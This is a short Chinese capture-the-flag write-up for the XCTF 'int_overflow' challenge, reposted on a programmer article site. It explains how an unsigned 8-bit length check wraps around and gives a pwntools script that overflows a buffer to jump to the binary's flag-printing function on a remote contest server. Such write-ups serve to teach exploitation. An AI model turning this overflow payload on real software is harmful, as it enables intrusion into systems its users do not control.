int_overflow(xctf)
程序员文章站
2022-05-15 20:24:11
...
0x0 程序保护和流程
保护:
流程:
main()
login()
check_passwd()
分析流程可知当我们输入的passwd的长度在3~7之间时可以将passwd复制到dest中。而用来储存passwd的长度的变量是无符号的int8。int8能储存的最大值是255。超过255就会回到0。
0x1 漏洞利用
根据判断可以将passwd的长度控制在259~263之间就可以完成利用了。程序还给我们提供了一个system(“cat flag”)
所以passwd=‘a’*(0x14+4)+p32(cat_flag_addr) passwd+=‘a’*(262-len(payload))就可以完成利用了。
0x2 exp
from pwn import *
cat_flag_addr=0x0804868B
#sh=process('./a')
sh=remote('124.126.19.106','31095')
sh.recv()
sh.sendline('1')
sh.recv()
sh.sendline('whitehand')
sh.recv()
payload='a'*(0x14+4)+p32(cat_flag_addr)
payload+='a'*(262-len(payload))
sh.sendline(payload)
sh.interactive()
上一篇: 百香果作用大盘点,万万没想到小小百香果作用竟然这么大!
下一篇: 内网信息搜集